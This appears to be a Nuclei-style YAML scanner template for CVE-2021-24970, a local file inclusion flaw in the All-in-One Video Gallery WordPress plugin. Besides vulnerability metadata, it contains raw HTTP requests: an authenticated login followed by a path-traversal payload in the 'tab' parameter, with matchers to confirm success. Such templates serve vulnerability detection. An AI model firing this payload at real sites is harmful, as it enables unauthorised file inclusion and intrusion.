46 lines
1.5 KiB
YAML
46 lines
1.5 KiB
YAML
id: CVE-2021-24970
|
|
|
|
info:
|
|
name: All-In-One-Gallery - Local File Inclusion
|
|
author: r3Y3r53
|
|
severity: high
|
|
description: |
|
|
The All-in-One Video Gallery WordPress plugin before 2.5.0 does not sanitise and validate the tab parameter before using it in a require statement in the admin dashboard, leading to a Local File Inclusion issue
|
|
reference:
|
|
- https://wpscan.com/vulnerability/9b15d47e-43b6-49a8-b2c3-b99c92101e10
|
|
- https://wordpress.org/plugins/all-in-one-video-gallery
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24970
|
|
remediation: Fixed in version 2.5.4
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2021-24970
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
verified: "true"
|
|
tags: wpscan,cve,cve2021,wp,wp-plugin,wordpress,lfi,authenticated
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
|
|
- |
|
|
GET /wp-admin/admin.php?page=all-in-one-video-gallery&tab=..%2F..%2F..%2F..%2F..%2Findex HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- 'contains(content_type_2, "text/html")'
|
|
- 'contains(body_2, "All-in-One Video Gallery")'
|
|
- 'contains(body_2, "Hello world!")'
|
|
- 'contains(body_2, "Welcome to WordPress")'
|
|
condition: and
|